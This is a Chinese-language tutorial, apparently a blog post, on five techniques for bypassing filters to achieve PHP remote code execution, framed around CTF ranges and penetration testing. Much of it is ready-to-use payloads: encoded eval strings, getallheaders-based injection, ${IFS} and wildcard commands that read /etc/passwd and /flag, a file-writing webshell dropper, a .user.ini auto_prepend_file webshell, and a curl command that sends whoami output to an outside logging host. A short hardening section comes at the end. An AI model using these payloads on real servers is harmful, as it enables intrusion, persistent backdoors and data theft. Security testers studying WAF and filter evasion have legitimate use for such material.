PHP RCE绕过实战:从靶场到渗透测试的5个核心技巧
1. 项目概述从靶场到实战的RCE绕过思维最近在复现和总结一些经典的RCE远程代码执行靶场时我发现很多题目虽然场景各异但核心的绕过思路却有着惊人的共通性。尤其是那些涉及PHP的eval()函数和Linux shell通杀符的关卡它们像是一道道精心设计的谜题考验的不仅是漏洞利用的熟练度更是对语言特性和系统环境的深刻理解。通关之后我梳理了其中最具实战价值的五个技巧。这些技巧并非孤立的奇技淫巧而是一套在面对代码执行限制、字符过滤或命令注入拦截时的系统性解题思路。无论是进行代码审计、渗透测试还是CTF比赛理解这些绕过手法的底层逻辑都能让你在发现漏洞后更高效地构造出可用的攻击载荷。简单来说RCE绕过的核心目标就是在受限的环境下让目标系统执行我们想要的代码或命令。限制可能来自WAFWeb应用防火墙、应用自身的过滤函数、disable_functions配置甚至是代码本身的逻辑。而我们的武器就是PHP语言本身的灵活性和操作系统Shell的丰富特性。这篇文章我会带你深入这五个技巧的细节不仅告诉你“怎么做”更重点剖析“为什么能这么做”并分享我在实战和靶场中踩过的坑和总结的经验。无论你是刚入门安全的新手还是想深化理解的老手相信都能从中获得启发。2. 核心思路拆解利用语言与系统的“特性”在深入具体技巧之前我们必须建立一个核心认知绕过本质上是利用开发者意料之外的语言特性或系统功能。它不是“魔法”而是基于对规则语法、函数、环境的深刻理解从而找到规则的边界甚至漏洞。2.1 靶场环境的典型限制分析常见的RCE挑战环境尤其是PHP相关的通常会设置以下几类限制字符过滤过滤或转义空格、引号、分号、反斜杠、点号、括号等关键字符。例如system($_GET[‘cmd’])中的system和反引号被过滤。函数禁用通过disable_functions配置禁用system、exec、passthru、shell_exec、popen、proc_open等直接执行命令的函数。代码构造限制在eval($_GET[‘code’])场景下限制传入的代码不能包含某些关键字如phpinfo、flag或必须符合特定格式。无回显命令执行了但结果不直接输出到页面上盲注需要借助外带DNSLog、HTTP请求或写入文件等方式获取结果。目录与文件限制无法读取特定文件如/flag或当前目录不可写。我们的绕过技巧就是针对这些限制的“组合拳”。下面我将围绕PHP动态特性和Shell通配符技巧两大主线展开五个实战技巧。3. 技巧一利用PHP字符串动态函数与可变变量这是PHP环境下最经典、也最基础的绕过思路之一主要应对函数名被过滤的情况。3.1 核心原理$var()与$$varPHP有两个强大的特性可变函数如果一个变量名后有圆括号()PHP会尝试寻找与变量的值同名的函数并执行它。例如$func ‘system’; $func(‘whoami’); // 等同于 system(‘whoami’);可变变量一个变量的变量名可以动态地设置和使用。$$a的含义是先取得$a的值将这个值作为变量名再取得这个新变量名的值。例如$a ‘hello’; $hello ‘world’; echo $$a; // 输出 ‘world’3.2 实战绕过场景与构造假设一段过滤代码如下$blacklist [‘system’, ‘exec’, ‘shell_exec’, ‘passthru’]; $cmd $_GET[‘cmd’]; foreach ($blacklist as $bad) { if (stripos($cmd, $bad) ! false) { die(‘Hacker!’); } } // 假设这里有个危险的点比如 eval(“echo \”$cmd\”;”);直接传入system(‘ls’)会被拦截。此时可以利用字符串拼接或编码构造函数名。方法A字符串拼接/异或构造PHP中字符串可以用.拼接也可以用异或^等位运算生成。// 拼接’sys’ . ‘tem’ $_REQUEST[‘cmd’] (‘sy’.’st’.’em’)(‘ls’); // 异或生成在单/双引号解析的特定环境下‘s’^‘\x01’ 等但更常用的是利用PHP字符串的自增特性或数组。更通用的是利用$_POST或$_GET数组本身。例如传入?asystembls在代码中构造$_GET[‘a’]($_GET[‘b’]); // 如果a和b可控则形成动态函数调用方法B利用内置函数创建函数名如果过滤了字母可以尝试用chr()函数拼接出函数名的ASCII码。$f chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); // $f ‘system’ $f(‘whoami’);实操心得在真实环境或复杂靶场中WAF可能也会检测常见的拼接模式如chr(。此时可以尝试使用hex2bin()、base64_decode()配合编码或者利用get_defined_functions()等内部函数来寻找未被过滤的路径。关键是灵活不要死记一种payload。4. 技巧二无参数RCE与PHP“套娃”式函数调用当你的输入点被限制为无参数函数调用或者只能控制一个复杂表达式的一部分时这个技巧就派上用场了。典型场景是eval(“echo \””. $_GET[‘input’] .”\”;”)但input的内容会被严格过滤无法直接包含括号和参数。4.1 核心原理利用返回值作为参数思路是通过一系列无需括号即可调用的函数或无参函数层层递进最终读取文件或执行命令。核心是以下几个函数或特性getallheaders()获取所有HTTP请求头返回数组。我们可以将命令写在某个Header里如X-Forwarded-For然后通过数组操作取出。session_id()/session_start()如果可控session_id可以将其设置为payload然后通过session_id()获取。localeconv()/current()localeconv()返回本地化信息数组其第一个元素通常是点号.。current()取数组第一个值。.可以用于目录遍历。scandir()列出目录。配合.或current(localeconv())可以扫描当前目录。array_reverse()、next()、end()等数组操作函数用于在文件列表中导航。readfile()、highlight_file()、file_get_contents()用于读取文件内容。4.2 一个完整的无参数读文件示例假设代码是eval($_GET[‘code’])且code不能包含引号、括号传参。目标读取当前目录下的flag.php。步骤拆解获取当前目录列表scandir(current(localeconv()))。localeconv()[0]是.current()取到.scandir(‘.’)列出文件。在列表中定位flag.php通常需要遍历。如果flag.php在列表的固定位置比如第三个可以用array_reverse()、next()等组合。例如假设它在正数第三个// 这是一个思维链实际eval中需要组合成一个表达式 $files scandir(‘.’); // 得到数组 [‘.’, ‘..’, ‘flag.php’, ‘index.php’, …] // 需要跳过前两个元素。一种方法是 next(scandir(‘.’)); // 指针移到 ‘..’ next(scandir(‘.’)); // 指针移到 ‘flag.php’? 不对每次scandir(‘.’)都是新的数组。 // 正确做法需要将数组赋值给一个变量但无参数时不能直接赋值。可以用array_reverse后再取。 // 更常见的做法是如果知道文件名可以用array_search()但它需要两个参数。 // 实战中更暴力的是用print_r(scandir(current(localeconv())))先查看列表结构如果允许输出。一个经典的payload是通过session_id()把文件名带进去但需要session_start()。读取文件一旦得到文件名$filename用readfile($filename)或highlight_file($filename)输出。一个更直接、利用getallheaders()的示例请求时添加一个HeaderX-Forwarded-For: ?php system(‘ls’);?Payloadeval(end(getallheaders()));getallheaders()返回所有头部的数组end()取到最后一个头部的值即X-Forwarded-For的内容然后eval执行。注意事项无参数RCE非常依赖环境配置和PHP版本。getallheaders()是Apache特有的函数在NginxFPM下不可用。session_id()需要session_start()且session.upload_progress或类似功能开启。在实际测试前最好先用phpinfo()确认这些函数是否存在和可用。5. 技巧三Shell通配符的妙用——命令注入的“万金油”当成功注入到系统命令中但命令的某些字符如空格、斜杠、点号被过滤时Linux Shell的通配符Wildcards就成了我们的救命稻草。这招在CTF中尤其常见。5.1 核心通配符回顾*匹配任意长度任意字符包括零个。?匹配任意单个字符。[abc]匹配方括号内列出的任意一个字符如a、b、c。[a-z]匹配一个字符范围。[!abc]或[^abc]匹配不在列出的字符中的任意一个字符。5.2 实战绕过场景场景1空格被过滤空格是命令参数的分隔符。被过滤后cat /etc/passwd无法执行。绕过方法使用Shell的内部变量${IFS}、$IFS$9或、重定向符。cat${IFS}/etc/passwdcat$IFS$9/etc/passwd($9是第九个参数通常为空用于隔开)cat/etc/passwd(使用输入重定向)场景2斜杠/被过滤无法直接指定路径如/etc/passwd或/bin/cat。绕过方法利用环境变量cat ${PATH:0:1}etc${PATH:0:1}passwd。${PATH:0:1}通常截取到/。但依赖PATH格式。利用通配符?和已知目录如果知道命令在/bin下但/被过滤可以尝试???/??t来匹配/bin/cat。这需要知道目录名的长度。更强大的使用*进行目录遍历本技巧核心。假设当前目录下只有一个子目录bin那么*/cat就能匹配到/bin/cat。对于文件如果知道文件名但不知道路径可以用find命令配合通配符。例如过滤了/和flag这个词但我们可以用cat $(find / -name *lag* 2/dev/null)。即使/被过滤我们也可以从根目录开始find。场景3点号.被过滤常用于隐藏文件或扩展名绕过方法用*匹配。例如读取flag.php可以用cat flag*或cat fla*。如果当前目录只有这一个fla开头的文件就会成功。5.3 一个综合案例过滤了空格、斜杠和cat命令目标读取/flag。 已知cat、/、空格被过滤。more、less、head、tail、nl等可能可用。构造Payload我们需要一个命令来替代cat。假设more可用。需要表示根目录和文件名。用*来匹配。根目录/无法表示但我们可以利用通配符在当前目录的上级目录中匹配。如果我们在/var/www/html../../*可能匹配到根目录下的文件但不确定性高。更可靠的方法是利用find命令本身。即使/被过滤find的路径参数可以用.代替并通过-name用通配符匹配文件名。find . -name *lag* -exec more {} \;但是这里出现了空格-exec前后。如果空格被严格过滤此路不通。终极方案使用$IFS替代空格并用*构建路径猜测。假设flag文件在根目录且文件名就是flag。Payloadmore${IFS}*lag或more$IFS$9*lag。这个payload会在当前目录及所有子目录中查找以任意路径开头、以lag结尾的文件。如果系统中有且仅有/flag符合这个模式它就会被more命令读取。风险是可能匹配到多个文件。踩坑记录通配符扩展是由Shell完成的。如果注入点是在PHP的exec()、system()等函数中Shell会正常扩展通配符。但如果注入点是在一些自定义的、模拟命令执行的环境中通配符可能不会生效。所以在实战中通配符技巧成功后是判断是否存在真实命令注入而非代码执行的重要标志。6. 技巧四编码与变形——对抗WAF与过滤函数当直接的关键字如evalsystemflag被正则表达式或WAF规则直接拦截时我们需要对Payload进行编码或变形使其在检测时“看起来不像”但在执行时能恢复原样。6.1 常用编码与变形手法Base64编码PHP中可以用base64_decode()解码执行。Payload:eval(base64_decode(‘c3lzdGVtKCdscycpOw’));(即system(‘ls’);)如果base64_decode也被过滤可以尝试convert_uudecode()等冷门函数。Hex编码PHP中可以用hex2bin()转换。Payload:eval(hex2bin(‘73797374656d28276c7327293b’));Rotor13编码PHP用str_rot13()。Payload:eval(str_rot13(‘flfgrz(‘yf’);’));(注意只编码了字母括号分号未编码)字符串反转eval(strrev(‘;)(‘metsys’))’));需要配合其他技巧执行因为反转后语法错误。通常用于绕过简单的字符串匹配。利用PHP的字符串解析特性PHP在将参数传入函数时会对字符串进行解析。例如$_GET[‘cmd’]中的cmd可以写成c.m.d或cmd在某些上下文中会被转换成cmd。但这通常适用于变量名而非函数体内的字符串。利用HTML实体或URL编码WAF可能解码一次但应用层可能解码两次。例如传入%2570%2568%2570%2569%256e%2566%256f双重URL编码的phpinfoWAF解码一次看到%70%68%70%69%6e%66%6f仍是编码可能放过。而PHP接收到$_GET时自动解码得到phpinfo。6.2 组合拳与高级变形单纯的编码可能被WAF检测解码过程。高级绕过需要组合拆分拼接编码将system拆成‘sy’.‘st’.‘em’然后对每一部分进行base64编码再在代码中拼接解码。利用.htaccess或php.ini进行预定义需文件上传权限在可写的目录下设置php_value auto_prepend_file为一段编码后的恶意代码这样所有php文件都会包含它。动态生成Payload通过一段“无害”的代码动态写出真正的恶意代码并包含。例如// 假设这是传入的code参数 $f ‘/tmp/’.md5(rand()).‘.php’; file_put_contents($f, ‘?php system($_GET[“c”]);?’); include($f); // 然后访问生成的文件执行命令经验之谈对抗WAF是一个持续的过程。最好的方法是fuzz模糊测试。用一个基础的Payload然后通过Burp Suite的Intruder或自定义脚本对Payload的各个位置进行替换、编码、插入垃圾字符等操作观察哪些变体能成功绕过。记录成功的变体分析其规律往往能发现WAF规则的盲点。7. 技巧五利用PHP错误处理与标签特性执行代码这个技巧相对偏门但在某些极端过滤环境下有奇效。它利用了PHP在解析文件时的一些“宽容”特性。7.1 利用短标签?和%如果服务器配置了short_open_tagOn可以使用?代替?php echo。这在某些过滤了php关键字但未过滤?的场景下有用。ASP标签%和%在asp_tagsOn时也可用但现代PHP默认关闭。7.2 利用script language”php”标签这是一个合法的PHP标签但极少使用。如果过滤了?php和?但未过滤script可以尝试script language”php”system(‘ls’);/script7.3 利用PHP的错误处理器assert()与字符串执行assert()本身是一个断言函数但它会将其字符串参数作为PHP代码执行如果配置允许。更关键的是在PHP 7.2以前assert()的参数可以是字符串并且会像eval()一样执行。虽然高版本已修改此行为但在一些老旧靶场或环境中仍可能遇到。assert(‘system(“ls”)’);如果assert被过滤可以尝试用可变函数或编码绕过。7.4 最偏门的技巧利用.user.ini与auto_prepend_file这严格来说不算“执行”技巧而是“持久化”或“预包含”技巧。但它能绕过很多对直接代码执行的过滤。条件有一个可上传或可写文件的目录。该目录能被PHP访问即通过Web可访问到该目录下的php文件。方法在该目录下创建一个.user.ini文件注意开头的点。内容为auto_prepend_filebase64编码的恶意代码文件路径或data://伪协议例如auto_prepend_file/tmp/shell.png(假设/tmp/shell.png内容是?php eval($_POST[‘a’]);?)或者使用data://伪协议直接包含代码auto_prepend_filedata://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4(需allow_url_includeOn)访问该目录下的任何一个正常的PHP文件你的恶意代码都会在该文件头部自动执行。这个方法的强大之处在于它不依赖于主应用代码中存在eval()或include()漏洞只要它能影响目录下的其他文件即可。防御方法是将open_basedir设置好并禁止上传目录执行PHP。8. 实战问题排查与技巧选择指南掌握了这么多技巧在真实面对一个黑盒目标时如何快速测试和选择最有效的绕过方法呢以下是我总结的排查流程和决策思路8.1 信息收集与试探确定注入点类型是PHP代码执行eval,assert,preg_replace /e模式还是系统命令注入system,exec, 反引号尝试输出phpinfo()或执行whoami/id来判断。探测过滤规则发送基础Payload如phpinfo();或system(‘id’);。观察是直接执行、报错、被清空还是返回拦截页面。fuzz特殊字符依次测试空格、引号单双、分号、反斜杠、括号、点号、斜杠、美元符号等看哪些被过滤或转义。fuzz关键字测试system,exec,shell_exec,passthru,eval,assert,file_get_contents,scandir等函数名以及flag,cat,ls,id等命令名是否被拦截。查看错误信息如果开启了display_errors错误信息是宝贵的线索可能暴露过滤逻辑、路径或可用函数。8.2 技巧选择决策树基于探测结果可以按以下路径选择技巧情况A函数名被过滤但括号和参数可控-优先尝试技巧一可变函数。用拼接、编码、数组方式构造函数名。情况B输入点限制极严几乎不能带参数-考虑技巧二无参数RCE。检查getallheaders(),session_id(),scandir(‘.’)等是否可用。情况C确认是命令注入但空格、斜杠等分隔符被过滤-优先使用技巧三Shell通配符。用${IFS}代替空格用*和?匹配路径和命令。情况DPayload被WAF直接拦截返回403等-使用技巧四编码变形。尝试Base64、Hex、双重编码或拆分关键字。情况E以上都无效且有文件上传或写入权限-考虑技巧五.user.ini或其他文件包含技巧。尝试写入.user.ini或.htaccess进行持久化。情况F疑似有disable_functions限制- 尝试使用未被禁用的函数。用phpinfo()查看disable_functions列表。寻找imap_open、mail、ldap_connect等可能用于绕过如利用其内部命令执行的函数或者使用PHP-FPM/UAF等更高阶的绕过手法这已超出本文基础技巧范围。8.3 常见问题与解决方案速查表问题现象可能原因排查与解决思路Payload提交后无任何输出1. 代码执行但无回显盲注2. 执行出错被静默处理3. Payload本身语法错误1. 尝试外带数据system(‘curl http://your-dnslog.com/‘.whoami)2. 尝试写入文件file_put_contents(‘/tmp/test’, ‘test’)3. 简化Payload先用phpinfo();测试返回“Hacker!”或“非法输入”触发了应用层或WAF的关键字过滤1. 对关键字进行编码Base64, Hex2. 拆分关键字‘sy’.‘st’.‘em’3. 使用同义函数或命令passthru代替systemnl代替cat命令执行了但结果不完整可能有长度限制或输出被截断1. 将输出重定向到文件command /tmp/out.txt2. 使用more、less等分页命令如果允许3. 用base64编码输出结果避免特殊字符截断使用通配符*匹配不到文件1. 当前目录无匹配文件2. Shell通配符扩展被禁用极少见3. 路径不对1. 先用find . -type f查看目录结构2. 尝试绝对路径通配/usr/bin/*3. 使用?精确匹配字符数eval()执行编码Payload失败1. 编码方式错误2.eval内不能直接使用base64_decode等函数返回值确保Payload是完整的PHP语句。例如eval(base64_decode(‘…’));是正确的而eval(‘base64_decode(“…”)’);解码后可能不是有效代码。9. 防御视角如何避免自己的代码被绕过作为开发者了解攻击手法是为了更好地防御。针对上述绕过技巧以下是一些加固建议严格输入过滤与白名单不要试图用黑名单过滤所有危险函数和字符。对于命令执行或文件包含应尽可能使用白名单只允许预期的、有限的字符集。对于代码执行如模板引擎应彻底避免使用eval()。使用参数化接口或安全函数对于系统命令使用escapeshellarg()或escapeshellcmd()对参数进行转义。对于文件操作使用basename()、realpath()结合白名单来规范路径避免目录遍历。对于数据库使用预处理语句PDO。配置安全在php.ini中设置disable_functions禁用不必要的危险函数。设置open_basedir限制PHP可访问的目录范围。关闭register_globals、allow_url_include、allow_url_fopen除非必要。将short_open_tag和asp_tags设为Off。最小权限原则运行Web服务的用户如www-data应具有最低必要的权限。避免使用root权限运行PHP-FPM或Apache。WAF与日志审计部署WAF作为纵深防御的一环并定期审计应用日志和系统日志寻找攻击迹象。代码审计与安全意识定期进行代码安全审计对开发人员进行安全培训从源头减少漏洞。通关靶场只是第一步将这些绕过技巧内化为对PHP和Shell底层行为的理解才能在真实的攻防对抗中灵活应变。最重要的不是记住每一个Payload而是掌握那种“在限制中寻找可能性”的思维模式。每次遇到新的过滤规则都是一次对知识深度的考验和拓展。
